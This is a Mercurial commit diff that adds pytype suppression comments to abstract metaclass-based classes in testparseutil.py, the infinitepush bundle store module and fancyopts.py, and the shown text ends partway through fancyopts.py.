##// END OF EJS Templates
pytype: don't warn us about ignored-on-py3 metaclasses...
Augie Fackler -
r43775:70d42e2a default
parent child Browse files
Show More
@@ -1,670 +1,670 b''
1 1 # testparseutil.py - utilities to parse test script for check tools
2 2 #
3 3 # Copyright 2018 FUJIWARA Katsunori <foozy@lares.dti.ne.jp> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import, print_function
9 9
10 10 import abc
11 11 import re
12 12 import sys
13 13
14 14 ####################
15 15 # for Python3 compatibility (almost comes from mercurial/pycompat.py)
16 16
17 17 ispy3 = sys.version_info[0] >= 3
18 18
19 19
20 20 def identity(a):
21 21 return a
22 22
23 23
24 24 def _rapply(f, xs):
25 25 if xs is None:
26 26 # assume None means non-value of optional data
27 27 return xs
28 28 if isinstance(xs, (list, set, tuple)):
29 29 return type(xs)(_rapply(f, x) for x in xs)
30 30 if isinstance(xs, dict):
31 31 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
32 32 return f(xs)
33 33
34 34
35 35 def rapply(f, xs):
36 36 if f is identity:
37 37 # fast path mainly for py2
38 38 return xs
39 39 return _rapply(f, xs)
40 40
41 41
42 42 if ispy3:
43 43 import builtins
44 44
45 45 def bytestr(s):
46 46 # tiny version of pycompat.bytestr
47 47 return s.encode('latin1')
48 48
49 49 def sysstr(s):
50 50 if isinstance(s, builtins.str):
51 51 return s
52 52 return s.decode('latin-1')
53 53
54 54 def opentext(f):
55 55 return open(f, 'r')
56 56
57 57
58 58 else:
59 59 bytestr = str
60 60 sysstr = identity
61 61
62 62 opentext = open
63 63
64 64
65 65 def b2s(x):
66 66 # convert BYTES elements in "x" to SYSSTR recursively
67 67 return rapply(sysstr, x)
68 68
69 69
70 70 def writeout(data):
71 71 # write "data" in BYTES into stdout
72 72 sys.stdout.write(data)
73 73
74 74
75 75 def writeerr(data):
76 76 # write "data" in BYTES into stderr
77 77 sys.stderr.write(data)
78 78
79 79
80 80 ####################
81 81
82 82
83 class embeddedmatcher(object):
83 class embeddedmatcher(object): # pytype: disable=ignored-metaclass
84 84 """Base class to detect embedded code fragments in *.t test script
85 85 """
86 86
87 87 __metaclass__ = abc.ABCMeta
88 88
89 89 def __init__(self, desc):
90 90 self.desc = desc
91 91
92 92 @abc.abstractmethod
93 93 def startsat(self, line):
94 94 """Examine whether embedded code starts at line
95 95
96 96 This can return arbitrary object, and it is used as 'ctx' for
97 97 subsequent method invocations.
98 98 """
99 99
100 100 @abc.abstractmethod
101 101 def endsat(self, ctx, line):
102 102 """Examine whether embedded code ends at line"""
103 103
104 104 @abc.abstractmethod
105 105 def isinside(self, ctx, line):
106 106 """Examine whether line is inside embedded code, if not yet endsat
107 107 """
108 108
109 109 @abc.abstractmethod
110 110 def ignores(self, ctx):
111 111 """Examine whether detected embedded code should be ignored"""
112 112
113 113 @abc.abstractmethod
114 114 def filename(self, ctx):
115 115 """Return filename of embedded code
116 116
117 117 If filename isn't specified for embedded code explicitly, this
118 118 returns None.
119 119 """
120 120
121 121 @abc.abstractmethod
122 122 def codeatstart(self, ctx, line):
123 123 """Return actual code at the start line of embedded code
124 124
125 125 This might return None, if the start line doesn't contain
126 126 actual code.
127 127 """
128 128
129 129 @abc.abstractmethod
130 130 def codeatend(self, ctx, line):
131 131 """Return actual code at the end line of embedded code
132 132
133 133 This might return None, if the end line doesn't contain actual
134 134 code.
135 135 """
136 136
137 137 @abc.abstractmethod
138 138 def codeinside(self, ctx, line):
139 139 """Return actual code at line inside embedded code"""
140 140
141 141
142 142 def embedded(basefile, lines, errors, matchers):
143 143 """pick embedded code fragments up from given lines
144 144
145 145 This is common parsing logic, which examines specified matchers on
146 146 given lines.
147 147
148 148 :basefile: a name of a file, from which lines to be parsed come.
149 149 :lines: to be parsed (might be a value returned by "open(basefile)")
150 150 :errors: an array, into which messages for detected error are stored
151 151 :matchers: an array of embeddedmatcher objects
152 152
153 153 This function yields '(filename, starts, ends, code)' tuple.
154 154
155 155 :filename: a name of embedded code, if it is explicitly specified
156 156 (e.g. "foobar" of "cat >> foobar <<EOF").
157 157 Otherwise, this is None
158 158 :starts: line number (1-origin), at which embedded code starts (inclusive)
159 159 :ends: line number (1-origin), at which embedded code ends (exclusive)
160 160 :code: extracted embedded code, which is single-stringified
161 161
162 162 >>> class ambigmatcher(object):
163 163 ... # mock matcher class to examine implementation of
164 164 ... # "ambiguous matching" corner case
165 165 ... def __init__(self, desc, matchfunc):
166 166 ... self.desc = desc
167 167 ... self.matchfunc = matchfunc
168 168 ... def startsat(self, line):
169 169 ... return self.matchfunc(line)
170 170 >>> ambig1 = ambigmatcher('ambiguous #1',
171 171 ... lambda l: l.startswith(' $ cat '))
172 172 >>> ambig2 = ambigmatcher('ambiguous #2',
173 173 ... lambda l: l.endswith('<< EOF\\n'))
174 174 >>> lines = [' $ cat > foo.py << EOF\\n']
175 175 >>> errors = []
176 176 >>> matchers = [ambig1, ambig2]
177 177 >>> list(t for t in embedded('<dummy>', lines, errors, matchers))
178 178 []
179 179 >>> b2s(errors)
180 180 ['<dummy>:1: ambiguous line for "ambiguous #1", "ambiguous #2"']
181 181
182 182 """
183 183 matcher = None
184 184 ctx = filename = code = startline = None # for pyflakes
185 185
186 186 for lineno, line in enumerate(lines, 1):
187 187 if not line.endswith('\n'):
188 188 line += '\n' # to normalize EOF line
189 189 if matcher: # now, inside embedded code
190 190 if matcher.endsat(ctx, line):
191 191 codeatend = matcher.codeatend(ctx, line)
192 192 if codeatend is not None:
193 193 code.append(codeatend)
194 194 if not matcher.ignores(ctx):
195 195 yield (filename, startline, lineno, ''.join(code))
196 196 matcher = None
197 197 # DO NOT "continue", because line might start next fragment
198 198 elif not matcher.isinside(ctx, line):
199 199 # this is an error of basefile
200 200 # (if matchers are implemented correctly)
201 201 errors.append(
202 202 '%s:%d: unexpected line for "%s"'
203 203 % (basefile, lineno, matcher.desc)
204 204 )
205 205 # stop extracting embedded code by current 'matcher',
206 206 # because appearance of unexpected line might mean
207 207 # that expected end-of-embedded-code line might never
208 208 # appear
209 209 matcher = None
210 210 # DO NOT "continue", because line might start next fragment
211 211 else:
212 212 code.append(matcher.codeinside(ctx, line))
213 213 continue
214 214
215 215 # examine whether current line starts embedded code or not
216 216 assert not matcher
217 217
218 218 matched = []
219 219 for m in matchers:
220 220 ctx = m.startsat(line)
221 221 if ctx:
222 222 matched.append((m, ctx))
223 223 if matched:
224 224 if len(matched) > 1:
225 225 # this is an error of matchers, maybe
226 226 errors.append(
227 227 '%s:%d: ambiguous line for %s'
228 228 % (
229 229 basefile,
230 230 lineno,
231 231 ', '.join(['"%s"' % m.desc for m, c in matched]),
232 232 )
233 233 )
234 234 # omit extracting embedded code, because choosing
235 235 # arbitrary matcher from matched ones might fail to
236 236 # detect the end of embedded code as expected.
237 237 continue
238 238 matcher, ctx = matched[0]
239 239 filename = matcher.filename(ctx)
240 240 code = []
241 241 codeatstart = matcher.codeatstart(ctx, line)
242 242 if codeatstart is not None:
243 243 code.append(codeatstart)
244 244 startline = lineno
245 245 else:
246 246 startline = lineno + 1
247 247
248 248 if matcher:
249 249 # examine whether EOF ends embedded code, because embedded
250 250 # code isn't yet ended explicitly
251 251 if matcher.endsat(ctx, '\n'):
252 252 codeatend = matcher.codeatend(ctx, '\n')
253 253 if codeatend is not None:
254 254 code.append(codeatend)
255 255 if not matcher.ignores(ctx):
256 256 yield (filename, startline, lineno + 1, ''.join(code))
257 257 else:
258 258 # this is an error of basefile
259 259 # (if matchers are implemented correctly)
260 260 errors.append(
261 261 '%s:%d: unexpected end of file for "%s"'
262 262 % (basefile, lineno, matcher.desc)
263 263 )
264 264
265 265
266 266 # heredoc limit mark to ignore embedded code at check-code.py or so
267 267 heredocignorelimit = 'NO_CHECK_EOF'
268 268
269 269 # the pattern to match against cases below, and to return a limit mark
270 270 # string as 'lname' group
271 271 #
272 272 # - << LIMITMARK
273 273 # - << "LIMITMARK"
274 274 # - << 'LIMITMARK'
275 275 heredoclimitpat = r'\s*<<\s*(?P<lquote>["\']?)(?P<limit>\w+)(?P=lquote)'
276 276
277 277
278 278 class fileheredocmatcher(embeddedmatcher):
279 279 """Detect "cat > FILE << LIMIT" style embedded code
280 280
281 281 >>> matcher = fileheredocmatcher('heredoc .py file', r'[^<]+\\.py')
282 282 >>> b2s(matcher.startsat(' $ cat > file.py << EOF\\n'))
283 283 ('file.py', ' > EOF\\n')
284 284 >>> b2s(matcher.startsat(' $ cat >>file.py <<EOF\\n'))
285 285 ('file.py', ' > EOF\\n')
286 286 >>> b2s(matcher.startsat(' $ cat> \\x27any file.py\\x27<< "EOF"\\n'))
287 287 ('any file.py', ' > EOF\\n')
288 288 >>> b2s(matcher.startsat(" $ cat > file.py << 'ANYLIMIT'\\n"))
289 289 ('file.py', ' > ANYLIMIT\\n')
290 290 >>> b2s(matcher.startsat(' $ cat<<ANYLIMIT>"file.py"\\n'))
291 291 ('file.py', ' > ANYLIMIT\\n')
292 292 >>> start = ' $ cat > file.py << EOF\\n'
293 293 >>> ctx = matcher.startsat(start)
294 294 >>> matcher.codeatstart(ctx, start)
295 295 >>> b2s(matcher.filename(ctx))
296 296 'file.py'
297 297 >>> matcher.ignores(ctx)
298 298 False
299 299 >>> inside = ' > foo = 1\\n'
300 300 >>> matcher.endsat(ctx, inside)
301 301 False
302 302 >>> matcher.isinside(ctx, inside)
303 303 True
304 304 >>> b2s(matcher.codeinside(ctx, inside))
305 305 'foo = 1\\n'
306 306 >>> end = ' > EOF\\n'
307 307 >>> matcher.endsat(ctx, end)
308 308 True
309 309 >>> matcher.codeatend(ctx, end)
310 310 >>> matcher.endsat(ctx, ' > EOFEOF\\n')
311 311 False
312 312 >>> ctx = matcher.startsat(' $ cat > file.py << NO_CHECK_EOF\\n')
313 313 >>> matcher.ignores(ctx)
314 314 True
315 315 """
316 316
317 317 _prefix = ' > '
318 318
319 319 def __init__(self, desc, namepat):
320 320 super(fileheredocmatcher, self).__init__(desc)
321 321
322 322 # build the pattern to match against cases below (and ">>"
323 323 # variants), and to return a target filename string as 'name'
324 324 # group
325 325 #
326 326 # - > NAMEPAT
327 327 # - > "NAMEPAT"
328 328 # - > 'NAMEPAT'
329 329 namepat = (
330 330 r'\s*>>?\s*(?P<nquote>["\']?)(?P<name>%s)(?P=nquote)' % namepat
331 331 )
332 332 self._fileres = [
333 333 # "cat > NAME << LIMIT" case
334 334 re.compile(r' \$ \s*cat' + namepat + heredoclimitpat),
335 335 # "cat << LIMIT > NAME" case
336 336 re.compile(r' \$ \s*cat' + heredoclimitpat + namepat),
337 337 ]
338 338
339 339 def startsat(self, line):
340 340 # ctx is (filename, END-LINE-OF-EMBEDDED-CODE) tuple
341 341 for filere in self._fileres:
342 342 matched = filere.match(line)
343 343 if matched:
344 344 return (
345 345 matched.group('name'),
346 346 ' > %s\n' % matched.group('limit'),
347 347 )
348 348
349 349 def endsat(self, ctx, line):
350 350 return ctx[1] == line
351 351
352 352 def isinside(self, ctx, line):
353 353 return line.startswith(self._prefix)
354 354
355 355 def ignores(self, ctx):
356 356 return ' > %s\n' % heredocignorelimit == ctx[1]
357 357
358 358 def filename(self, ctx):
359 359 return ctx[0]
360 360
361 361 def codeatstart(self, ctx, line):
362 362 return None # no embedded code at start line
363 363
364 364 def codeatend(self, ctx, line):
365 365 return None # no embedded code at end line
366 366
367 367 def codeinside(self, ctx, line):
368 368 return line[len(self._prefix) :] # strip prefix
369 369
370 370
371 371 ####
372 372 # for embedded python script
373 373
374 374
375 375 class pydoctestmatcher(embeddedmatcher):
376 376 """Detect ">>> code" style embedded python code
377 377
378 378 >>> matcher = pydoctestmatcher()
379 379 >>> startline = ' >>> foo = 1\\n'
380 380 >>> matcher.startsat(startline)
381 381 True
382 382 >>> matcher.startsat(' ... foo = 1\\n')
383 383 False
384 384 >>> ctx = matcher.startsat(startline)
385 385 >>> matcher.filename(ctx)
386 386 >>> matcher.ignores(ctx)
387 387 False
388 388 >>> b2s(matcher.codeatstart(ctx, startline))
389 389 'foo = 1\\n'
390 390 >>> inside = ' >>> foo = 1\\n'
391 391 >>> matcher.endsat(ctx, inside)
392 392 False
393 393 >>> matcher.isinside(ctx, inside)
394 394 True
395 395 >>> b2s(matcher.codeinside(ctx, inside))
396 396 'foo = 1\\n'
397 397 >>> inside = ' ... foo = 1\\n'
398 398 >>> matcher.endsat(ctx, inside)
399 399 False
400 400 >>> matcher.isinside(ctx, inside)
401 401 True
402 402 >>> b2s(matcher.codeinside(ctx, inside))
403 403 'foo = 1\\n'
404 404 >>> inside = ' expected output\\n'
405 405 >>> matcher.endsat(ctx, inside)
406 406 False
407 407 >>> matcher.isinside(ctx, inside)
408 408 True
409 409 >>> b2s(matcher.codeinside(ctx, inside))
410 410 '\\n'
411 411 >>> inside = ' \\n'
412 412 >>> matcher.endsat(ctx, inside)
413 413 False
414 414 >>> matcher.isinside(ctx, inside)
415 415 True
416 416 >>> b2s(matcher.codeinside(ctx, inside))
417 417 '\\n'
418 418 >>> end = ' $ foo bar\\n'
419 419 >>> matcher.endsat(ctx, end)
420 420 True
421 421 >>> matcher.codeatend(ctx, end)
422 422 >>> end = '\\n'
423 423 >>> matcher.endsat(ctx, end)
424 424 True
425 425 >>> matcher.codeatend(ctx, end)
426 426 """
427 427
428 428 _prefix = ' >>> '
429 429 _prefixre = re.compile(r' (>>>|\.\.\.) ')
430 430
431 431 # If a line matches against not _prefixre but _outputre, that line
432 432 # is "an expected output line" (= not a part of code fragment).
433 433 #
434 434 # Strictly speaking, a line matching against "(#if|#else|#endif)"
435 435 # is also treated similarly in "inline python code" semantics by
436 436 # run-tests.py. But "directive line inside inline python code"
437 437 # should be rejected by Mercurial reviewers. Therefore, this
438 438 # regexp does not matche against such directive lines.
439 439 _outputre = re.compile(r' $| [^$]')
440 440
441 441 def __init__(self):
442 442 super(pydoctestmatcher, self).__init__("doctest style python code")
443 443
444 444 def startsat(self, line):
445 445 # ctx is "True"
446 446 return line.startswith(self._prefix)
447 447
448 448 def endsat(self, ctx, line):
449 449 return not (self._prefixre.match(line) or self._outputre.match(line))
450 450
451 451 def isinside(self, ctx, line):
452 452 return True # always true, if not yet ended
453 453
454 454 def ignores(self, ctx):
455 455 return False # should be checked always
456 456
457 457 def filename(self, ctx):
458 458 return None # no filename
459 459
460 460 def codeatstart(self, ctx, line):
461 461 return line[len(self._prefix) :] # strip prefix ' >>> '/' ... '
462 462
463 463 def codeatend(self, ctx, line):
464 464 return None # no embedded code at end line
465 465
466 466 def codeinside(self, ctx, line):
467 467 if self._prefixre.match(line):
468 468 return line[len(self._prefix) :] # strip prefix ' >>> '/' ... '
469 469 return '\n' # an expected output line is treated as an empty line
470 470
471 471
472 472 class pyheredocmatcher(embeddedmatcher):
473 473 """Detect "python << LIMIT" style embedded python code
474 474
475 475 >>> matcher = pyheredocmatcher()
476 476 >>> b2s(matcher.startsat(' $ python << EOF\\n'))
477 477 ' > EOF\\n'
478 478 >>> b2s(matcher.startsat(' $ $PYTHON <<EOF\\n'))
479 479 ' > EOF\\n'
480 480 >>> b2s(matcher.startsat(' $ "$PYTHON"<< "EOF"\\n'))
481 481 ' > EOF\\n'
482 482 >>> b2s(matcher.startsat(" $ $PYTHON << 'ANYLIMIT'\\n"))
483 483 ' > ANYLIMIT\\n'
484 484 >>> matcher.startsat(' $ "$PYTHON" < EOF\\n')
485 485 >>> start = ' $ python << EOF\\n'
486 486 >>> ctx = matcher.startsat(start)
487 487 >>> matcher.codeatstart(ctx, start)
488 488 >>> matcher.filename(ctx)
489 489 >>> matcher.ignores(ctx)
490 490 False
491 491 >>> inside = ' > foo = 1\\n'
492 492 >>> matcher.endsat(ctx, inside)
493 493 False
494 494 >>> matcher.isinside(ctx, inside)
495 495 True
496 496 >>> b2s(matcher.codeinside(ctx, inside))
497 497 'foo = 1\\n'
498 498 >>> end = ' > EOF\\n'
499 499 >>> matcher.endsat(ctx, end)
500 500 True
501 501 >>> matcher.codeatend(ctx, end)
502 502 >>> matcher.endsat(ctx, ' > EOFEOF\\n')
503 503 False
504 504 >>> ctx = matcher.startsat(' $ python << NO_CHECK_EOF\\n')
505 505 >>> matcher.ignores(ctx)
506 506 True
507 507 """
508 508
509 509 _prefix = ' > '
510 510
511 511 _startre = re.compile(
512 512 r' \$ (\$PYTHON|"\$PYTHON"|python).*' + heredoclimitpat
513 513 )
514 514
515 515 def __init__(self):
516 516 super(pyheredocmatcher, self).__init__("heredoc python invocation")
517 517
518 518 def startsat(self, line):
519 519 # ctx is END-LINE-OF-EMBEDDED-CODE
520 520 matched = self._startre.match(line)
521 521 if matched:
522 522 return ' > %s\n' % matched.group('limit')
523 523
524 524 def endsat(self, ctx, line):
525 525 return ctx == line
526 526
527 527 def isinside(self, ctx, line):
528 528 return line.startswith(self._prefix)
529 529
530 530 def ignores(self, ctx):
531 531 return ' > %s\n' % heredocignorelimit == ctx
532 532
533 533 def filename(self, ctx):
534 534 return None # no filename
535 535
536 536 def codeatstart(self, ctx, line):
537 537 return None # no embedded code at start line
538 538
539 539 def codeatend(self, ctx, line):
540 540 return None # no embedded code at end line
541 541
542 542 def codeinside(self, ctx, line):
543 543 return line[len(self._prefix) :] # strip prefix
544 544
545 545
546 546 _pymatchers = [
547 547 pydoctestmatcher(),
548 548 pyheredocmatcher(),
549 549 # use '[^<]+' instead of '\S+', in order to match against
550 550 # paths including whitespaces
551 551 fileheredocmatcher('heredoc .py file', r'[^<]+\.py'),
552 552 ]
553 553
554 554
555 555 def pyembedded(basefile, lines, errors):
556 556 return embedded(basefile, lines, errors, _pymatchers)
557 557
558 558
559 559 ####
560 560 # for embedded shell script
561 561
562 562 _shmatchers = [
563 563 # use '[^<]+' instead of '\S+', in order to match against
564 564 # paths including whitespaces
565 565 fileheredocmatcher('heredoc .sh file', r'[^<]+\.sh'),
566 566 ]
567 567
568 568
569 569 def shembedded(basefile, lines, errors):
570 570 return embedded(basefile, lines, errors, _shmatchers)
571 571
572 572
573 573 ####
574 574 # for embedded hgrc configuration
575 575
576 576 _hgrcmatchers = [
577 577 # use '[^<]+' instead of '\S+', in order to match against
578 578 # paths including whitespaces
579 579 fileheredocmatcher(
580 580 'heredoc hgrc file', r'(([^/<]+/)+hgrc|\$HGRCPATH|\${HGRCPATH})'
581 581 ),
582 582 ]
583 583
584 584
585 585 def hgrcembedded(basefile, lines, errors):
586 586 return embedded(basefile, lines, errors, _hgrcmatchers)
587 587
588 588
589 589 ####
590 590
591 591 if __name__ == "__main__":
592 592 import optparse
593 593 import sys
594 594
595 595 def showembedded(basefile, lines, embeddedfunc, opts):
596 596 errors = []
597 597 for name, starts, ends, code in embeddedfunc(basefile, lines, errors):
598 598 if not name:
599 599 name = '<anonymous>'
600 600 writeout("%s:%d: %s starts\n" % (basefile, starts, name))
601 601 if opts.verbose and code:
602 602 writeout(" |%s\n" % "\n |".join(l for l in code.splitlines()))
603 603 writeout("%s:%d: %s ends\n" % (basefile, ends, name))
604 604 for e in errors:
605 605 writeerr("%s\n" % e)
606 606 return len(errors)
607 607
608 608 def applyembedded(args, embeddedfunc, opts):
609 609 ret = 0
610 610 if args:
611 611 for f in args:
612 612 with opentext(f) as fp:
613 613 if showembedded(f, fp, embeddedfunc, opts):
614 614 ret = 1
615 615 else:
616 616 lines = [l for l in sys.stdin.readlines()]
617 617 if showembedded('<stdin>', lines, embeddedfunc, opts):
618 618 ret = 1
619 619 return ret
620 620
621 621 commands = {}
622 622
623 623 def command(name, desc):
624 624 def wrap(func):
625 625 commands[name] = (desc, func)
626 626
627 627 return wrap
628 628
629 629 @command("pyembedded", "detect embedded python script")
630 630 def pyembeddedcmd(args, opts):
631 631 return applyembedded(args, pyembedded, opts)
632 632
633 633 @command("shembedded", "detect embedded shell script")
634 634 def shembeddedcmd(args, opts):
635 635 return applyembedded(args, shembedded, opts)
636 636
637 637 @command("hgrcembedded", "detect embedded hgrc configuration")
638 638 def hgrcembeddedcmd(args, opts):
639 639 return applyembedded(args, hgrcembedded, opts)
640 640
641 641 availablecommands = "\n".join(
642 642 [" - %s: %s" % (key, value[0]) for key, value in commands.items()]
643 643 )
644 644
645 645 parser = optparse.OptionParser(
646 646 """%prog COMMAND [file ...]
647 647
648 648 Pick up embedded code fragments from given file(s) or stdin, and list
649 649 up start/end lines of them in standard compiler format
650 650 ("FILENAME:LINENO:").
651 651
652 652 Available commands are:
653 653 """
654 654 + availablecommands
655 655 + """
656 656 """
657 657 )
658 658 parser.add_option(
659 659 "-v",
660 660 "--verbose",
661 661 help="enable additional output (e.g. actual code)",
662 662 action="store_true",
663 663 )
664 664 (opts, args) = parser.parse_args()
665 665
666 666 if not args or args[0] not in commands:
667 667 parser.print_help()
668 668 sys.exit(255)
669 669
670 670 sys.exit(commands[args[0]][1](args[1:], opts))
@@ -1,184 +1,184 b''
1 1 # This software may be used and distributed according to the terms of the
2 2 # GNU General Public License version 2 or any later version.
3 3
4 4 # based on bundleheads extension by Gregory Szorc <gps@mozilla.com>
5 5
6 6 from __future__ import absolute_import
7 7
8 8 import abc
9 9 import hashlib
10 10 import os
11 11 import subprocess
12 12 import tempfile
13 13
14 14 from mercurial.pycompat import open
15 15 from mercurial import (
16 16 node,
17 17 pycompat,
18 18 )
19 19 from mercurial.utils import procutil
20 20
21 21 NamedTemporaryFile = tempfile.NamedTemporaryFile
22 22
23 23
24 24 class BundleWriteException(Exception):
25 25 pass
26 26
27 27
28 28 class BundleReadException(Exception):
29 29 pass
30 30
31 31
32 class abstractbundlestore(object):
32 class abstractbundlestore(object): # pytype: disable=ignored-metaclass
33 33 """Defines the interface for bundle stores.
34 34
35 35 A bundle store is an entity that stores raw bundle data. It is a simple
36 36 key-value store. However, the keys are chosen by the store. The keys can
37 37 be any Python object understood by the corresponding bundle index (see
38 38 ``abstractbundleindex`` below).
39 39 """
40 40
41 41 __metaclass__ = abc.ABCMeta
42 42
43 43 @abc.abstractmethod
44 44 def write(self, data):
45 45 """Write bundle data to the store.
46 46
47 47 This function receives the raw data to be written as a str.
48 48 Throws BundleWriteException
49 49 The key of the written data MUST be returned.
50 50 """
51 51
52 52 @abc.abstractmethod
53 53 def read(self, key):
54 54 """Obtain bundle data for a key.
55 55
56 56 Returns None if the bundle isn't known.
57 57 Throws BundleReadException
58 58 The returned object should be a file object supporting read()
59 59 and close().
60 60 """
61 61
62 62
63 63 class filebundlestore(object):
64 64 """bundle store in filesystem
65 65
66 66 meant for storing bundles somewhere on disk and on network filesystems
67 67 """
68 68
69 69 def __init__(self, ui, repo):
70 70 self.ui = ui
71 71 self.repo = repo
72 72 self.storepath = ui.configpath(b'scratchbranch', b'storepath')
73 73 if not self.storepath:
74 74 self.storepath = self.repo.vfs.join(
75 75 b"scratchbranches", b"filebundlestore"
76 76 )
77 77 if not os.path.exists(self.storepath):
78 78 os.makedirs(self.storepath)
79 79
80 80 def _dirpath(self, hashvalue):
81 81 """First two bytes of the hash are the name of the upper
82 82 level directory, next two bytes are the name of the
83 83 next level directory"""
84 84 return os.path.join(self.storepath, hashvalue[0:2], hashvalue[2:4])
85 85
86 86 def _filepath(self, filename):
87 87 return os.path.join(self._dirpath(filename), filename)
88 88
89 89 def write(self, data):
90 90 filename = node.hex(hashlib.sha1(data).digest())
91 91 dirpath = self._dirpath(filename)
92 92
93 93 if not os.path.exists(dirpath):
94 94 os.makedirs(dirpath)
95 95
96 96 with open(self._filepath(filename), b'wb') as f:
97 97 f.write(data)
98 98
99 99 return filename
100 100
101 101 def read(self, key):
102 102 try:
103 103 with open(self._filepath(key), b'rb') as f:
104 104 return f.read()
105 105 except IOError:
106 106 return None
107 107
108 108
109 109 class externalbundlestore(abstractbundlestore):
110 110 def __init__(self, put_binary, put_args, get_binary, get_args):
111 111 """
112 112 `put_binary` - path to binary file which uploads bundle to external
113 113 storage and prints key to stdout
114 114 `put_args` - format string with additional args to `put_binary`
115 115 {filename} replacement field can be used.
116 116 `get_binary` - path to binary file which accepts filename and key
117 117 (in that order), downloads bundle from store and saves it to file
118 118 `get_args` - format string with additional args to `get_binary`.
119 119 {filename} and {handle} replacement field can be used.
120 120 """
121 121
122 122 self.put_args = put_args
123 123 self.get_args = get_args
124 124 self.put_binary = put_binary
125 125 self.get_binary = get_binary
126 126
127 127 def _call_binary(self, args):
128 128 p = subprocess.Popen(
129 129 pycompat.rapply(procutil.tonativestr, args),
130 130 stdout=subprocess.PIPE,
131 131 stderr=subprocess.PIPE,
132 132 close_fds=True,
133 133 )
134 134 stdout, stderr = p.communicate()
135 135 returncode = p.returncode
136 136 return returncode, stdout, stderr
137 137
138 138 def write(self, data):
139 139 # Won't work on windows because you can't open file second time without
140 140 # closing it
141 141 # TODO: rewrite without str.format() and replace NamedTemporaryFile()
142 142 # with pycompat.namedtempfile()
143 143 with NamedTemporaryFile() as temp:
144 144 temp.write(data)
145 145 temp.flush()
146 146 temp.seek(0)
147 147 formatted_args = [
148 148 arg.format(filename=temp.name) for arg in self.put_args
149 149 ]
150 150 returncode, stdout, stderr = self._call_binary(
151 151 [self.put_binary] + formatted_args
152 152 )
153 153
154 154 if returncode != 0:
155 155 raise BundleWriteException(
156 156 b'Failed to upload to external store: %s' % stderr
157 157 )
158 158 stdout_lines = stdout.splitlines()
159 159 if len(stdout_lines) == 1:
160 160 return stdout_lines[0]
161 161 else:
162 162 raise BundleWriteException(
163 163 b'Bad output from %s: %s' % (self.put_binary, stdout)
164 164 )
165 165
166 166 def read(self, handle):
167 167 # Won't work on windows because you can't open file second time without
168 168 # closing it
169 169 # TODO: rewrite without str.format() and replace NamedTemporaryFile()
170 170 # with pycompat.namedtempfile()
171 171 with NamedTemporaryFile() as temp:
172 172 formatted_args = [
173 173 arg.format(filename=temp.name, handle=handle)
174 174 for arg in self.get_args
175 175 ]
176 176 returncode, stdout, stderr = self._call_binary(
177 177 [self.get_binary] + formatted_args
178 178 )
179 179
180 180 if returncode != 0:
181 181 raise BundleReadException(
182 182 b'Failed to download from external store: %s' % stderr
183 183 )
184 184 return temp.read()
@@ -1,391 +1,391 b''
1 1 # fancyopts.py - better command line parsing
2 2 #
3 3 # Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import abc
11 11 import functools
12 12
13 13 from .i18n import _
14 14 from . import (
15 15 error,
16 16 pycompat,
17 17 )
18 18
19 19 # Set of flags to not apply boolean negation logic on
20 20 nevernegate = {
21 21 # avoid --no-noninteractive
22 22 b'noninteractive',
23 23 # These two flags are special because they cause hg to do one
24 24 # thing and then exit, and so aren't suitable for use in things
25 25 # like aliases anyway.
26 26 b'help',
27 27 b'version',
28 28 }
29 29
30 30
31 31 def _earlyoptarg(arg, shortlist, namelist):
32 32 """Check if the given arg is a valid unabbreviated option
33 33
34 34 Returns (flag_str, has_embedded_value?, embedded_value, takes_value?)
35 35
36 36 >>> def opt(arg):
37 37 ... return _earlyoptarg(arg, b'R:q', [b'cwd=', b'debugger'])
38 38
39 39 long form:
40 40
41 41 >>> opt(b'--cwd')
42 42 ('--cwd', False, '', True)
43 43 >>> opt(b'--cwd=')
44 44 ('--cwd', True, '', True)
45 45 >>> opt(b'--cwd=foo')
46 46 ('--cwd', True, 'foo', True)
47 47 >>> opt(b'--debugger')
48 48 ('--debugger', False, '', False)
49 49 >>> opt(b'--debugger=') # invalid but parsable
50 50 ('--debugger', True, '', False)
51 51
52 52 short form:
53 53
54 54 >>> opt(b'-R')
55 55 ('-R', False, '', True)
56 56 >>> opt(b'-Rfoo')
57 57 ('-R', True, 'foo', True)
58 58 >>> opt(b'-q')
59 59 ('-q', False, '', False)
60 60 >>> opt(b'-qfoo') # invalid but parsable
61 61 ('-q', True, 'foo', False)
62 62
63 63 unknown or invalid:
64 64
65 65 >>> opt(b'--unknown')
66 66 ('', False, '', False)
67 67 >>> opt(b'-u')
68 68 ('', False, '', False)
69 69 >>> opt(b'-ufoo')
70 70 ('', False, '', False)
71 71 >>> opt(b'--')
72 72 ('', False, '', False)
73 73 >>> opt(b'-')
74 74 ('', False, '', False)
75 75 >>> opt(b'-:')
76 76 ('', False, '', False)
77 77 >>> opt(b'-:foo')
78 78 ('', False, '', False)
79 79 """
80 80 if arg.startswith(b'--'):
81 81 flag, eq, val = arg.partition(b'=')
82 82 if flag[2:] in namelist:
83 83 return flag, bool(eq), val, False
84 84 if flag[2:] + b'=' in namelist:
85 85 return flag, bool(eq), val, True
86 86 elif arg.startswith(b'-') and arg != b'-' and not arg.startswith(b'-:'):
87 87 flag, val = arg[:2], arg[2:]
88 88 i = shortlist.find(flag[1:])
89 89 if i >= 0:
90 90 return flag, bool(val), val, shortlist.startswith(b':', i + 1)
91 91 return b'', False, b'', False
92 92
93 93
94 94 def earlygetopt(args, shortlist, namelist, gnu=False, keepsep=False):
95 95 """Parse options like getopt, but ignores unknown options and abbreviated
96 96 forms
97 97
98 98 If gnu=False, this stops processing options as soon as a non/unknown-option
99 99 argument is encountered. Otherwise, option and non-option arguments may be
100 100 intermixed, and unknown-option arguments are taken as non-option.
101 101
102 102 If keepsep=True, '--' won't be removed from the list of arguments left.
103 103 This is useful for stripping early options from a full command arguments.
104 104
105 105 >>> def get(args, gnu=False, keepsep=False):
106 106 ... return earlygetopt(args, b'R:q', [b'cwd=', b'debugger'],
107 107 ... gnu=gnu, keepsep=keepsep)
108 108
109 109 default parsing rules for early options:
110 110
111 111 >>> get([b'x', b'--cwd', b'foo', b'-Rbar', b'-q', b'y'], gnu=True)
112 112 ([('--cwd', 'foo'), ('-R', 'bar'), ('-q', '')], ['x', 'y'])
